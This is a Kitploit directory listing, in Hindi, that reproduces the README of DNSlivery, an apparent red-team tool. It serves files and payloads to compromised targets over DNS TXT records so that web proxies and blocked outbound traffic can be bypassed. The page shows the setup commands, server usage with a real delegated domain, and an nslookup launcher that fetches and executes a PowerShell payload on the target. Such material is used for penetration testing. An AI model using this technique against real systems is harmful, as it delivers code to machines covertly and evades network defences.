Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
DNSlivery — DNS के माध्यम से आसान फ़ाइल और पेलोड डिलीवरी | Kitploit
उपकरण/GitHubGitHub/samybaiwir/dnslivery
डेटा निष्कासनपेनिट्रेशन टेस्टिंगकमांड एंड कंट्रोलरेड टीमिंगDNS विश्लेषण
GitHubsamybaiwir/dnslivery

DNSlivery

DNS के माध्यम से आसान फ़ाइल और पेलोड डिलीवरी

रिपॉजिटरी देखें
4267798 महीने पहलेKitploit द्वारा समीक्षित

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

python-3.7 Known Vulnerabilities

DNSlivery

DNS के माध्यम से आसान फ़ाइल और पेलोड डिलीवरी।

  • DNSlivery
  • Acknowledgments
  • Description
    • TL;DR
    • What problem are you trying to solve?
    • How does it work?
    • Requirements
  • Setup
    • DNS Zone
    • DNSlivery
  • Usage
    • Server
    • Target

Acknowledgments

यह प्रोजेक्ट मूल रूप से PowerDNS और Paul's Security Weekly पॉडकास्ट #590 (youtu.be/CP6cIwFJswQ) में Joff Thyer के तकनीकी सेगमेंट से प्रेरित है।

Description

TL;DR

DNSlivery DNS को ट्रांसपोर्ट प्रोटोकॉल के रूप में उपयोग करके टारगेट तक फ़ाइलें पहुंचाने की अनुमति देता है।

विशेषताएँ:

  • टारगेट पर फ़ाइलों को प्रिंट, निष्पादित या सेव करने की अनुमति देता है
  • टारगेट पर किसी क्लाइंट की आवश्यकता नहीं होती
  • पूर्ण DNS सर्वर की आवश्यकता नहीं होती

demo-target.git

आप किस समस्या को हल करने का प्रयास कर रहे हैं?

समझौता किए गए टारगेट पर फ़ाइलें और/या पेलोड आसानी से पहुंचाएं जहां क्लासिक वेब डिलीवरी संभव नहीं है और समर्पित क्लाइंट सॉफ़्टवेयर की आवश्यकता के बिना। यह प्रतिबंधित वातावरणों पर लागू होता है जहां आउटगोइंग वेब ट्रैफ़िक निषिद्ध है या किसी जिज्ञासु वेब प्रॉक्सी द्वारा निरीक्षण किया जाता है।

web-delivery-blocked.png

हालांकि अधिक संपूर्ण DNS टनलिंग टूल पहले से मौजूद हैं (जैसे dnscat2 और iodine), उन सभी को टारगेट पर एक समर्पित क्लाइंट चलाने की आवश्यकता होती है। समस्या यह है कि ऐसे प्रतिबंधित वातावरणों में क्लाइंट को पहुंचाने के लिए शायद DNS के अलावा कोई अन्य तरीका नहीं है। दूसरे शब्दों में, इन टूलों के साथ DNS संचार चैनल बनाने के लिए पहले से ही DNS संचार चैनल होना आवश्यक है।

तुलना में, DNSlivery केवल आपके सर्वर से टारगेट तक एकतरफा संचार प्रदान करता है लेकिन ऐसा करने के लिए किसी समर्पित क्लाइंट की आवश्यकता नहीं होती। इस प्रकार, यदि आपको DNS पर एक विश्वसनीय द्विदिश संचार चैनल बनाने की आवश्यकता है, तो अपने टारगेट तक अधिक उन्नत DNS टनलिंग टूल का क्लाइंट पहुंचाने के लिए DNSlivery का उपयोग करें।

यह कैसे काम करता है?

अधिकांश DNS टनलिंग टूलों की तरह, DNSlivery फ़ाइलों की सामग्री को उनके base64 प्रतिनिधित्व में संग्रहीत करने के लिए TXT रिकॉर्ड का उपयोग करता है। हालांकि, काम करने के लिए इसे पूर्ण DNS सर्वर स्थापित करने की आवश्यकता नहीं होती। इसके बजाय, यह आने वाले DNS पैकेटों को सुनने और वांछित प्रतिक्रिया तैयार करने के लिए scapy लाइब्रेरी का उपयोग करता है।

network-process.png

चूंकि अधिकांश फ़ाइलें एक एकल TXT रिकॉर्ड में फिट नहीं होतीं, DNSlivery फ़ाइल के base64 चंक्स युक्त कई क्रमबद्ध रिकॉर्ड बनाएगा। उदाहरण के रूप में, उपरोक्त आरेख file नामक फ़ाइल के 42वें चंक की डिलीवरी को दर्शाता है।

टारगेट पर समर्पित क्लाइंट की आवश्यकता के बिना सभी base64 चंक्स को पुनः प्राप्त करने और उन्हें वापस जोड़ने के लिए, DNSlivery प्रत्येक फ़ाइल के लिए उत्पन्न करेगा:

  • एक सरल क्लियरटेक्स्ट लॉन्चर
  • एक विश्वसनीय base64 एन्कोडेड स्टेजर

two-stages-delivery.png

यह दो-चरणीय डिलीवरी प्रक्रिया स्टेजर में सुविधाएँ जोड़ने के लिए आवश्यक है (जैसे खोए हुए DNS प्रतिक्रियाओं को संभालना) जो अन्यथा एक एकल TXT रिकॉर्ड में फिट नहीं होंगी।

टारगेट संगतता पर नोट

वर्तमान में, केवल PowerShell टारगेट समर्थित हैं। हालांकि, DNSlivery को bash या python जैसे अतिरिक्त टारगेट का समर्थन करने के लिए बेहतर बनाया जा सकता है। कृपया मुझे @no0be पर बताएं यदि यह एक ऐसी सुविधा है जिसे आप लागू होते देखना चाहेंगे।

Requirements

DNSlivery को जटिल सर्वर इंफ्रास्ट्रक्चर बनाने की आवश्यकता नहीं होती। वास्तव में, केवल दो सरल आवश्यकताएँ हैं:

  • अपने सार्वजनिक DNS ज़ोन में NS रिकॉर्ड बनाने में सक्षम होना
  • इंटरनेट से udp/53 ट्रैफ़िक प्राप्त करने में सक्षम Linux सर्वर होना

Setup

DNS Zone

पहला कदम अपने डोमेन में एक नया NS रिकॉर्ड बनाकर DNSlivery चलाने वाले सर्वर को एक सब-डोमेन सौंपना है। उदाहरण के रूप में, मैंने vps.no0.be पर सर्वर को सब-डोमेन dnsd.no0.be सौंपने के लिए निम्नलिखित रिकॉर्ड बनाया।

root@kitploit:~
dnsd    IN  NS vps.no0.be.

यदि आपका ज़ोन किसी तृतीय-पक्ष प्रदाता द्वारा प्रबंधित है, तो NS रिकॉर्ड बनाने के लिए उनके दस्तावेज़ीकरण का संदर्भ लें।

DNSlivery

DNSlivery चलाने के लिए केवल python3 और इसकी scapy लाइब्रेरी की आवश्यकता होती है।

root@kitploit:~
git clone https://github.com/no0be/DNSlivery.git && cd DNSlivery
pip install -r requirements.txt

Usage

Server

DNSlivery किसी दिए गए निर्देशिका की सभी फ़ाइलों को सर्व करेगा (डिफ़ॉल्ट रूप से pwd) और आने वाले udp/53 पैकेटों को सुनने के लिए रूट विशेषाधिकारों के साथ चलाने की आवश्यकता होती है।

root@kitploit:~
usage: dnslivery.py [-h] [-p PATH] [-s SIZE] [-v] interface domain nameserver

DNSlivery - Easy files and payloads delivery over DNS

positional arguments:
  interface             interface to listen to DNS traffic
  domain                FQDN name of the DNS zone
  nameserver            FQDN name of the server running DNSlivery

optional arguments:
  -h, --help            show this help message and exit
  -p PATH, --path PATH  path of directory to serve over DNS (default: pwd)
  -s SIZE, --size SIZE  size in bytes of base64 chunks (default: 255)
  -v, --verbose         increase verbosity

उदाहरण:

root@kitploit:~
$ sudo python3 dnslivery.py eth0 dnsd.no0.be vps.no0.be -p /tmp/dns-delivery

DNSlivery - Easy files and payloads delivery over DNS

[*] File "file" ready for delivery at file.dnsd.no0.be (7 chunks)
[*] Listening for DNS queries...

फ़ाइलनाम सामान्यीकरण पर नोट

चूंकि डोमेन नामों के लिए अनुमत कैरेक्टर सेट UNIX फ़ाइलनामों की तुलना में अधिक प्रतिबंधात्मक है (प्रति RFC1035), DNSlivery आवश्यकता पड़ने पर सामान्यीकरण करेगा।

उदाहरण:

root@kitploit:~
[*] File "My Awesome Powershell Script ;).ps1" ready for delivery at my-awesome-powershell-script----ps1.dnsd.no0.be (1891 chunks)

ध्यान रखें कि वर्तमान सामान्यीकरण कोड परिपूर्ण नहीं है क्योंकि यह ओवरलैपिंग फ़ाइलनामों या आकार सीमा को ध्यान में नहीं रखता।

Target

टारगेट पर, वांछित फ़ाइल के समर्पित TXT रिकॉर्ड का अनुरोध करके लॉन्चर को पुनः प्राप्त करके शुरू करें। निम्नलिखित तीन लॉन्चर समर्थित हैं:

root@kitploit:~
nslookup -type=txt [filename].[stager].[domain]

फिर, टारगेट पर फ़ाइल पुनः प्राप्त करने के लिए DNS प्रतिक्रिया में उद्धृत लॉन्चर को कॉपी करके PowerShell कंसोल में पेस्ट करें।

उदाहरण:

demo-target.git

टूल डाउनलोड करें
ActionLauncherDescription
Print[filename].print.[domain](Default) Print the delivered file to the console
Execute[filename].exec.[domain]Execute the delivered file (useful for scripts)
Save[filename].save.[domain]Save the delivered file to disk (useful for binaries)